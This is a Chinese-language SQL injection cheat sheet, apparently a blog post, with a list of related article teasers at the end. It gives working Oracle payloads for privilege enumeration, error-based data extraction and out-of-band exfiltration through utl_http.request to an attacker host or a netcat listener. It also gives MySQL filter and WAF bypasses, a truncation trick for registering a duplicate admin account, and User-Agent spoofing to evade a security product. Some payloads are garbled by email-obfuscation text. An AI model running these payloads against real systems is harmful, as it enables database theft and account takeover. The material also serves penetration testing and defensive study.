SYS_CONTEXT(‘USERENV’,’EXTERNAL_NAME’) external_name, 
SYS_CONTEXT(‘USERENV’,’IP_ADDRESS’) ip_address, 
SYS_CONTEXT(‘USERENV’,’NETWORK_PROTOCOL’) network_protocol, 
SYS_CONTEXT(‘USERENV’,’BG_JOB_ID’) bg_job_id, 
SYS_CONTEXT(‘USERENV’,’FG_JOB_ID’) fg_job_id, 
SYS_CONTEXT(‘USERENV’,’AUTHENTICATION_TYPE’) authentication_type, 
SYS_CONTEXT(‘USERENV’,’AUTHENTICATION_DATA’) authentication_data

獲取當前使用者許可權
SQL> select * from session_privs;

PRIVILEGE
------------------------------------------------------------------------

ALTER SYSTEM
AUDIT SYSTEM
CREATE SESSION
ALTER SESSION
RESTRICTED SESSION
CREATE TABLESPACE
ALTER TABLESPACE
MANAGE TABLESPACE
DROP TABLESPACE
UNLIMITED TABLESPACE
CREATE USER

報錯查詢

利用orcale的報錯回顯來爆出,某些欄位。
SQL> select utl_inaddr.get_host_name((select user from dual)) from dual;
select utl_inaddr.get_host_name((select user from dual)) from dual
       *
第 1 行出現錯誤:
ORA-29257: 未知的主機 SYS
ORA-06512: 在 "SYS.UTL_INADDR", line 4
ORA-06512: 在 "SYS.UTL_INADDR", line 35
ORA-06512: 在 line 1

時差注入

遇到一些既沒有反錯,又不回顯資訊的注入點,就需要用到時差注入。不過orcale沒有提供類似sleep()這樣的函式。 需要使用一個超級耗時的查詢來代替它。 不過這裡因為知識欠缺,沒有構造出超耗時的查詢,暫且先放一下。

帶外傳輸

這個比較神奇 UTL_INADDR.GET_HOST_ADDRESS會解析一個域名的IP,不帶引數的話會返回本地本機內網ip
SQL> select utl_inaddr.get_host_address() from dual;

UTL_INADDR.GET_HOST_ADDRESS()
--------------------------------------------------------------------------

192.168.0.110

SQL> select utl_inaddr.get_host_address('www.baidu.com') from dual;

UTL_INADDR.GET_HOST_ADDRESS('WWW.BAIDU.COM')
--------------------------------------------------------------------------

61.135.169.105
UTL_HTTP.REQUEST
會提交一個請求,把地址改成自己搭建的伺服器的話,就可以獲取外網IP
SQL> select sum(length(utl_http.request('http://attacker.com/'))) from dual;

SUM(LENGTH(UTL_HTTP.REQUEST('HTTP://ATTACKER.COM/')))
-----------------------------------------------------
                                                 1997
也可以構造一個包含資訊的url,之後在log中尋找,或者直接在nc中獲取,這樣的話orcale會等待Nc作出響應,這裡也可以用做拒絕訪問攻擊。 NC.exe
C:\>nc.exe -l -p 888
GET /SYS HTTP/1.1
Host: 127.0.0.1:888
Connection: close
SQL
SQL> select sum(length(utl_http.request('127.0.0.1:888/'||(select user from dual
)))) from dual;
select sum(length(utl_http.request('127.0.0.1:888/'||(select user from dual))))
from dual
                  *
第 1 行出現錯誤:
ORA-29273: HTTP 請求失敗
ORA-06512: 在 "SYS.UTL_HTTP", line 1722
ORA-29259: 已達到輸入的末尾
ORA-06512: 在 line 1
utl_http.request,utl_inaddr.get_host_name,utl_inaddr.get_host_address由於11g的安全特性無法繼續使用

這個整理的比較倉促,流弊的文章還要看
http://www.it28.cn/heikejiaocheng/381944.html


奇技淫巧

註釋

(1) 這個在Mysql中/**/這種註釋可以代替,空格來使用,可以構造出這種的語句
 select/**/*/**/from/**/te/**/order/**/by/**/1;
(2) 這個mysql還有一個神奇的特性就是/*!xxxxxxx*/會被當做語句執行,那麼可以構造出這種語句
/*!select*//**/*/**//*!from*//**//*!te*/;
mysql保持這種奇怪的語法,是為了相容性,因為mysql的一些擴充套件功能,其他資料庫不支援,放在/*!*/中自己執行別人不執行。 (3) /*%00*/有的時候可以繞過一些,基於字串的過濾,而且並不影響語句執行。

變數

mysql中有一個特性就是變數@xxxxx 如果沒有定義並不會報錯而是會返回一個null,很多過濾程式碼不會檢查單引號之間的部分,可以這樣構造。
select * from te where `id`[email protected]`'` union select @`'`,2,3,4 from te;
有的時候欄位要求Not Null需要這樣構造
select * from te where `2`=1 union select char(@`'`),2,3,4 from te;


空格

如果空格被過濾了,有一些辦法可以繞過,這些方法通常也能繞過一些WAP,在某些版本的mysql可以使用括號大法來繞過。
select(1),(2)union(select(2),(3)from(information_schema))
如果是高版本,可以使用一些蛋疼的字元來替代空格
RDBMS Allowed whitespaces 
SQLite 3 0A, 0D, 0C, 09, 20 
MySQL 5 09, 0A, 0B, 0C, 0D, A0, 20 
Oracle 11g 00, 09, 0A, 0B, 0C, 0D, 20 
MSSQL 2008 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 
19, 1A, 1B, 1C, 1D, 1E, 1F, 20, 25 
Table 8: Valid whitespaces allowed in different RDBMS. 
這個圖片出自這篇文章
https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-WP.pdf

這篇文章還講到幾個比較有趣的用法,在盲注的時候可以使用這種語句來把所有結果都顯示
MySQL SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) 
WHERE (table_schema>[email protected]) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] 
>',table_name,' > ',column_name))))x 
MSSQL SELECT table_name %2b ', ' FROM information_schema.tables FOR XML PATH('') 
PostgreSQL SELECT array_to_json(array_agg(tables))::text FROM (SELECT schemaname, relname FROM 
pg_stat_user_tables) AS tables LIMIT 1; 
Oracle SELECT xmlagg(xmlelement(“user”, login||’:’||pass) ORDER BY login).getStringVal() FROM 
users; 
Table 5: Different queries which retrieve multiple table & column entries with a single request. 


使用註釋符--的時候如果後面不加空格,會被當做加號來使用
mysql> select 1--1--2;
+---------+
| 1--1--2 |
+---------+
|       4 |
+---------+
1 row in set (0.00 sec)


反斜槓繞過

有的時候單引號被過濾的情況下,如果轉義符沒有被過濾,我們可以使用轉義符來去掉一個單引號,達到注入的目的 比如在id處存在注入點
where id='xxxxxx' and name='xxxxxx'
我們可以構造這樣的注入語句使查詢語句變成
where id='xxxxx\' and name=' union select xxxxx #'
比如htmlentities()這個函式就不會過濾反斜槓,但是誰會用它來做SQL注入的過濾那····:(

超長變數截斷

這個mysql資料庫對待超過儲存長度的資料只會爆一個warming
mysql> insert into test values('admin                               x');
Query OK, 1 row affected, 1 warning (0.03 sec)
而在where比較的時候mysql是忽略空格的,這個技巧可以用來註冊相同名字的使用者

userAgent繞過安全狗

這個原理就是,把userAgent改造成百度蜘蛛的Agent,便可以繞過一部分安全鉤的檢測
User-Agent:Baiduspider

相關推薦

【28】WEB安全學習----SQL注入總結

檢測注入 不管什麼資料庫注入,檢測是否有注入點是第一步,而檢測的方法大同小異。 1、閉合SQL拼接語句 要想進行下一步注入,首先需要閉合SQL語句,如何知道閉合符號是什麼呢?可通過在引數後面加入單引號或雙引號使其整條SQL拼接語句失敗,從而可從資料庫報錯資訊得知,若沒有

SQL注入總結

最近一直在研究SQL注入攻擊,現在對SQL注入進行一個總結: SQL注入的原理就不在這裡贅述了,直接從攻擊技巧開始: 1.手工注入猜解流程: 假設我們現在以http://ctf5.shiyanbar.

sql注入總結(一)--2018自我整理

SQL注入總結 前言: 本文和之後的總結都是進行總結,詳細實現過程細節可能不會寫出來~ 所有sql語句均是mysql資料庫的,其他資料庫可能有些函式不同,但是方法大致相同   0x00 SQL注入原理: SQL注入實質上是將使用者傳入的引數沒有進行嚴格的處理拼接sql語句的執行字串中。

sql注入總結(二)--2018自我整理

0x00前言: 繼上篇的內容,這章總結下二次注入,python指令碼,bypass 上篇sql注入總結(一)--2018自我整理   0x01二次注入: 二次注入的原理是在把非法程式碼新增進資料庫裡面儲存了,因為 \' 這種轉義不會把\(反斜槓)代入到資料庫中儲存,然後在其他地方呼叫了這個

SQL注入總結(五)

常見的搭建組合: 指令碼格式 資料庫 搭建品臺 作業系統 Asp Access,Sq

SQL注入總結(二)

手工注入的大致思路: 判斷是否存在注入,注入是字元型還是數字型 猜解SQL查詢語句中的欄位數(order by 2) 確定顯示的欄位順序(union select 1,2) 獲取當前資料庫(un

SQL注入使用詳細總結(由淺及深,持續更新中)

版權宣告:本文為博主原創文章,歡迎轉載,請註明出處: https://me.csdn.net/qq_41880069 SQL注入使用總結 一:SQL注入的原理 1:什麼是SQL SQL,指結構化查詢語言,作用:訪問和處理資料庫 也就是說SQL語言的所有操作都是

SQL注入漏洞姿勢總結

一、SQL注入漏洞介紹: SQL注入攻擊包括通過輸入資料從客戶端插入或“注入”SQL查詢到應用程式。一個成功的SQL注入攻擊可以從資料庫中獲取敏感資料、修改資料庫資料(插入/更新/刪除)、執行資料庫管理操作(如關閉資料庫管理系統)、恢復存在於資料庫檔案系統中的指定檔案內容,在某些情況下能對作業系統釋出命令。S

jdbc防止sql注入方法總結

參考:http://hi.baidu.com/wangyue06/item/c00c824b35cf740ae835049c 1.傳統JDBC,採用PreparedStatement 。預編譯語句集,內建了處理SQL注入的能力 String sql= "selec

sql注入----手工注入總結

暴欄位長度 Order by num/* 匹配欄位 and 1=1 union select 1,2,3,4,5…….n/* 暴欄位位置 and 1=2 union select 1,2,3,4,5…..n/*   利用內建函式暴資料庫資訊 version(

滲透之——SQL注入繞過技術總結

轉載請註明出處:https://blog.csdn.net/l1028386804/article/details/85869703 1.繞過空格(註釋符/* */,%a0) 兩個空格代替一個空格,用Tab代替空格,%a0=空格: %20 %09 %0a %0b %0c %0d %a

SQL注入的兩個小Trick與總結

between and 操作符代替比較符 操作符 BETWEEN … AND 會選取介於兩個值之間的資料範圍。這些值可以是數值、文字或者日期。 between and有資料比較功能 exp1 between min and max 如果exp1的結果處於min

關於SQL注入總結

雖然回家了,但是精神上一直病懨懨的,莫名其妙,搞了一學期的滲透,把經驗總結一下,珠海估計去不成了,好好待在家休養生息也好。 首先搭一個簡單的環境IIS7+MYSQL+ACCESS+MSSQL 環境配置: 因為裝的是64位的win7所以環境配置上有一些麻煩。 ACCESS:

JDBC要點總結SQL注入示例(Statement和PreparedStatement)

寫在前面:JDBC是sun公司(已被Oracle收購)制定一系列介面標準,由不同廠商(Oracle、MySQL等)實現介面方法並封裝成驅動檔案,供開發人員操作資料庫。也就是說,開發人員可採用統一的程式碼 一、三個重要物件:    a.Connection   代表著Jav

常見sql注入的防範總結

在平時的開發過程中,我們可能很少會刻意的去為專案做一個sql注入的防範,這是因為你可能因為使用了某些框架,而無意間已經有了對應sql注入的一些防範操作(比如mybatis使用#{XX}傳參,屬於預編譯防

sql報錯注入總結【積累中】

==========================第一次總結嘗試============================== 首先放一下測試的表 第一條報錯注入語句: select passwo

.Net防sql注入的方法總結

#防sql注入的常用方法: 1、服務端對前端傳過來的引數值進行型別驗證; 2、服務端執行sql,使用引數化傳值,而不要使用sql字串拼接; 3、服務端對前端傳過來的資料進行sql關鍵詞過來與檢測; #著重記錄下服務端進行sql關鍵詞檢測: 1、sql關鍵詞檢測類: 1 pub

[常用的Sql語句總結]

無需 表名 全部 表示 操作 數據庫 let 數據添加 run 1. 創建數據庫DataBase create database 數據庫名稱; 2. 刪除數據庫DataBase drop database 數據庫名稱 drop database 數據庫名稱1,數據庫名

sql語句總結

初始化 課程表 let core 顯示 ble student 練習 教師 create table student(sno varchar2(10) primary key,sname varchar2(20),sage number(2),ssex varchar2

SQL使用總結-like,MAX,MIN

des 字符串操作 time pla 技術分享 order by -1 add and 1. 時間索引不容許使用like 對時間索引適應like,會時間索引變成字符串操作,成為遍歷動作,失去索引價值。 錯誤寫法: EXPLAIN SELECT AVG(data_va